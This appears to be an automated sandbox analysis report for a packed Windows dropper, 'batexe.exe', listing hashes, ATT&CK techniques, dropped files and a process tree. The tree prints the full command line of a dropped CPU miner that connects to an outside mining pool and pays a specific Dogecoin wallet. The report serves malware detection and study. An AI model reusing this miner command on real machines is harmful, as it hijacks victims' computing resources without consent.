73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18-02-2024 11:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4920	b2e.exe
2804	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2804	cpuminer-sse2.exe
2804	cpuminer-sse2.exe
2804	cpuminer-sse2.exe
2804	cpuminer-sse2.exe
2804	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4024-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 4920	4024	batexe.exe	84
PID 4024 wrote to memory of 4920	4024	batexe.exe	84
PID 4024 wrote to memory of 4920	4024	batexe.exe	84
PID 4920 wrote to memory of 2260	4920	b2e.exe	85
PID 4920 wrote to memory of 2260	4920	b2e.exe	85
PID 4920 wrote to memory of 2260	4920	b2e.exe	85
PID 2260 wrote to memory of 2804	2260	cmd.exe	88
PID 2260 wrote to memory of 2804	2260	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Users\Admin\AppData\Local\Temp\9635.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9635.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9635.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\99FE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9635.tmp\b2e.exe

Filesize
24.5MB

MD5
0460d39d17a5fa4dbf827d888c7d62fd

SHA1
48cace217962612adee6c4b583aef64d5931e2bc

SHA256
843955fc8db5a9873c568ab128fcac9a5de8dce141e0a3bb9bdc36f15012d983

SHA512
256dab3d4e38d5ec00850a6907694916a7e232d540f132661df563371b15db483227a295cc2beb8c986b1269bad7c7ee23017f39fcaef7e8bf2f63a28fb41b64

Download Submit
C:\Users\Admin\AppData\Local\Temp\9635.tmp\b2e.exe

Filesize
5.6MB

MD5
87e622fb8c1dfca6063915b60db8dc2d

SHA1
bbad0329e0610e32c8d010f620731c557e672e77

SHA256
fd146d1bdf5177d123765549412df48ae8612484c449868069fa1e09af6c8c31

SHA512
aaee48e2db10c014b8d78f95a56f78a654443c9ab7e3ee919524accf1bc155434623f137c859fbd54c634abae7841f2467fa621596d914189be2eb94946ccca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\9635.tmp\b2e.exe

Filesize
6.1MB

MD5
d365a291ef52b895dbcb3ea0124e01aa

SHA1
e1a39126b28348ad0e09066d4e0f9522f6e01845

SHA256
893d4ebf9cb121b99825af49e4e7abb9ea32dac56bf90aa0ee86124053ad7a74

SHA512
8f0ae9ea9326727fb55ad40586a79df623a71c801696f8efbb1ed8dca2642c090d93fc9bb911c43a28d4a3b0f71e0bd457e440e96f3aae70b464825fc0ecbb35

Download Submit
C:\Users\Admin\AppData\Local\Temp\99FE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
6a119a1a3238dd3b96b0ca27529e1cb2

SHA1
d3ecdcfa3c3f70a0ce249e8210a4588b7a984d61

SHA256
679770ac6b8817004acfacd8eaa3db50ce3fbd34f039d45872f588f0182c021b

SHA512
0b4b49312889f2795399eb93f662a1af2a479890a2abc4f6279107b205f9fb674005d0c5280eac0a00c797eafda1b11f19b98f84c6edd385d6102e49e5496357

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.1MB

MD5
dc05e579bc637512d5fb931ab6af6ee6

SHA1
55ccc8787f0f379135fd0e16dbac97db4e304f22

SHA256
9452fb0034b4e6ec5c33fff5d2d5ceb75e94904bf4d3a1cc4a88b442c705d4ba

SHA512
89a2e00e5306a575dbb8188c2c0b0acb9ace5dbd0edbece5568684ba4e0845c122020c273ae6f20771710ff6003946f4f860f8e2e325002fb5feebda58e44c7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
640f1b8eb0427efb281175b6c7169ea2

SHA1
391aed48dacabab87539be4de00a38db89d843ce

SHA256
92a7f2f8cc7caf830fa9495d2e2bb65fec38a6822a60b9e6abcaab56246ae7ee

SHA512
b5e8072d89cde503357d416738f8f9714a9237baa8a9f2c08a49b41fbde606b48cefc12303b3de38cd0c38163993c9f03ac84270194e449507a5a6a8ce2f3873

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
15bbe1e8aa36bd041ef374e4a718b3ff

SHA1
aeecafa9b469b1817448cceb28fa01383c6911cd

SHA256
a9190158d575ccd04cd992d45282d4a9254d62cce2e325216f06bece8fbf4bff

SHA512
4bc9647fc6d8de56eecc627c487d795d374f2da7a71b6b09bdfa9e518cb67fe12d5d0eeb13ff83c7a38eb41acfdf44b5397087c60c3542cbe3215969551f076a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
b6ad9c98af2e92fa808a44b9f23f0419

SHA1
50904e4482d280a8bbb3006a023bbdcdcbcf42e5

SHA256
bc59e249bb20daf9bcfdc52717f6ebe8bad49e80e3c4f8daceb4f1dcaf758fc5

SHA512
f29f8c137793a41e27ec477905f55ec356b9ab63f0ae50932fd660200b7bc9d87211f7e94b79790321a2082068aaa22c5e772bb0ea00aebaf3253199deaa5758

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2804-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2804-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2804-46-0x0000000063360000-0x00000000633F8000-memory.dmp

Filesize
608KB

Download
memory/2804-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2804-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2804-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4024-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4920-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4920-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download